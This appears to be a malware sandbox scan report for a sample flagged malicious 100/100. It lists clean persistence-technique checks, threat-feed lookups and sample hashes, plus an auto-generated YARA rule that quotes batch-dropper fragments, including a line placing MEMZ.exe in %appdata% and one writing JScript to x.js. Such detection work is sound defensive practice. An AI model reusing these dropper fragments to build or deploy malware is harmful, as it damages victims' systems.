  • SilentProcessExit Monitor T1546.012 clean
  • Telemetry Controller Command T1546.015 clean
  • WER ReflectDebugger T1546.012 clean
  • Windows Error Reporting Debugger T1546.012 clean
DLL Load Order 12 clean
  • .NET CLR Profiler DLL T1574.012 clean
  • .NET Startup Hook DLL T1574 clean
  • AppCert DLLs T1546.009 clean
  • AppInit DLLs T1546.010 clean
  • AutodialDLL Winsock Injection T1546.006 clean
  • DLL Search-Order Hijack T1574.001 T1574.002 clean
  • DNS Server Plugin DLL T1574.001 clean
  • HTML Help Helper DLL T1546 clean
  • KnownDLLs Manipulation T1574.001 clean
  • Natural Language Platform DLL Override T1546 clean
  • Netsh Helper DLL T1546.007 clean
  • Winsock Layered Service Provider T1546.006 clean
COM & Browser 6 clean
  • Browser Extension T1176 clean
  • Browser Helper Object T1176 clean
  • COM Server Hijack T1546.015 clean
  • HTML Help COM Object Hijack T1546.015 clean
  • Shell Context Menu Handler T1546.001 clean
  • Shell Extension Handler T1546.001 clean
Security Providers & Accounts 11 clean
  • Account RID Hijack T1098 clean
  • AMSI Provider T1562.001 clean
  • Credential Provider T1547.014 clean
  • DSRM Admin Logon Backdoor T1556 clean
  • Hidden Local Account T1136.001 clean
  • LSA Authentication Package T1547.002 clean
  • LSA Extension DLL T1547.005 clean
  • LSA Notification Package T1547.005 clean
  • LSA Security Package T1547.005 clean
  • Network Provider DLL T1556.008 clean
  • Security Support Provider T1547.005 clean
Scripting & Applications 9 clean
  • Netsh Port Proxy T1090.001 clean
  • Office Add-in T1137.006 clean
  • Office Executable Sideload T1574.002 clean
  • Office Startup Template T1137.001 clean
  • Office Test Key T1137.002 clean
  • Power Automate Flow T1546 clean
  • PowerShell Profile T1546.013 clean
  • Windows Terminal Startup Action T1546 clean
  • WMI Event Subscription T1546.003 clean
Boot & Firmware 4 clean
  • BootExecute Native Image T1547.002 clean
  • PlatformExecute Native Image T1547.002 clean
  • SetupExecute Native Image T1547.002 clean
  • UEFI / Bootkit Artifact T1542.003 T1542.001 clean

File activity summary

create 1 write 0 modify 0 delete 0 rename 0

Dropped payload analysis

not observed

No payload write was recorded and no capture ran on this run, so nothing here is a measurement about dropped files either way.

File & registry ops

1 file · 0 registry · sample scope

File operation times: 1 not observed

OperationTargetProcess
create
x
in-process only
- pid 5460

External reputation was not produced for this scan. Threat intelligence enrichment is a paid-plan layer: every extracted indicator - hashes, addresses, hostnames - is checked against the external reputation services. Our own ingested feeds ran on this scan and every result below is theirs. Adding the paid layer adds an external reputation verdict on each indicator, so MalwareBazaar and filescan.io are listed below as not checked. See plans.

16 answered no 1 could not answer 5 had nothing to check
0Sources with a hit
17Sources queriedof 22 available
469.2kFeed records
1Could not answer

File reputation

4 clear · 2 not checked
SourceChecksResultDetailFeed
MalwareBazaar hash feed File hash clean not in feed 3,387 records
33 minutes ago
MalwareBazaar ransomware feed File hash clean not in feed 3,348 records
4 hours ago
ThreatFox hash IOCs File hash clean not in feed 1,689 records
33 minutes ago
URLhaus payload hashes File hash clean not in feed 1,310 records
33 minutes ago
filescan.io File hash not checked no hash lookup ran for this scan live lookup
MalwareBazaar File hash not checked no hash lookup ran for this scan live lookup

Hash lookups only - the sample itself is never uploaded to any third party.

Network indicators

7 clear · 1 could not answer
SourceChecksResultDetailFeed
URLhaus IP / domain / URL feed unavailable 1 observed indicator, none listed no records ingested
blocklist.de IP / domain / URL clean 1 observed indicator, none listed 26.3k records
33 minutes ago
CINS Army IP / domain / URL clean 1 observed indicator, none listed 15k records
33 minutes ago
Emerging Threats IP / domain / URL clean 1 observed indicator, none listed 511 records
33 minutes ago
Feodo Tracker IP / domain / URL clean 1 observed indicator, none listed 5 records
33 minutes ago
IPsum IP / domain / URL clean 1 observed indicator, none listed 18.4k records
33 minutes ago
Phishing.Database IP / domain / URL clean 1 observed indicator, none listed 391.5k records
4 hours ago
ThreatFox IP / domain / URL clean 1 observed indicator, none listed 1,689 records
33 minutes ago

TLS fingerprints

nothing of this kind to check
SourceChecksResultDetailFeed
JA3 / JA4 fingerprint blocklists JA3 / JA4 not checked no TLS client fingerprint observed 97 records
10 hours ago
SSL blocklist Server certificate not checked no server certificate fingerprint is extracted to check live lookup

Detection rules

2 clear
SourceChecksResultDetailFeed
Sigma rules Behavior log clean - 2,275 records
6 hours ago
Signature rules Sample content clean no rule matched 110 records
34 minutes ago

Tooling catalogs

3 clear · 1 not checked
SourceChecksResultDetailFeed
LOLBootloaders File hash clean not a known vulnerable bootloader 520 records
33 minutes ago
LOLDrivers File hash clean not a known vulnerable driver 2,346 records
33 minutes ago
LOLRMM Names and domains clean 2 name/domain indicators checked, no remote-management tooling 358 records
33 minutes ago
LOLBAS Process image paths not checked no process image path observed to check 245 records
34 minutes ago

AI analysis

The AI layer is a paid-plan feature. It reads what the other layers produced - the behaviour summary, the call sequence, the indicator list - and writes the narrative and the kill-chain walkthrough.

Nothing is being withheld. This layer did not run for this scan, so there is no result stored behind the lock.

See plans Create an account

2 malicious 0 suspicious 0 info

File indicators

2
SeverityTypeIndicatorDescription
malicious sample_sha256 5f52365accb76d679b2b3946870439a62eb8936b9a0595f0fb0198138106b513 Submitted sample (SHA256)
malicious sample_md5 13a43c26bb98449fd82d2a552877013a Submitted sample (MD5)

Sigma detections

0 matches of 2275 rules

The Sigma corpus was evaluated against this run's processes, registry, file, network, DNS and script activity. Nothing matched.

Generated rules

YARA: auto_file_3141_yara

Auto-generated
rule auto_file_3141_yara
{
    meta:
        description = "Auto-generated from scan 3141"
        author = "sandbox auto-generator"
        anchors = "3 independent regions"
    strings:
        $s0 = "echo s.namespace(26).copyHere(s.namespace(z).items());o.close();i.close();>>x.js" ascii fullword
        $s1 = "set v=\"%appdata%\\MEMZ.exe\"" ascii fullword
        $s2 = "@echo off" ascii fullword
    condition:
        filesize < 65536 and all of them
}

Extracted files

What came out of the sample: unpacked payloads, carved objects and captured memory. Each one is stored by content hash, so the same object extracted twice is the same row.

No extracted files

Nothing was unpacked or carved out of this sample. Packed samples, documents with embedded objects and installers are the ones that usually produce artifacts here.

Export & download

/s/3141

Structured exports for your SIEM/TIP - ATT&CK Navigator layer, STIX 2.1 bundle, MISP event and a defanged IOC list - are free on every report. The packet capture follows this scan's plan, because a capture is the rawest network output this platform produces.

Analysis report

PDF and DOCX reports are available to signed-in accounts on every plan, free included. Sign in to generate one.

Public analyses of this file

1 run
SubmittedEnvironmentVerdictScore
2026-11-05 18:30 Shown below Windows 10 22H2 Malicious 100/100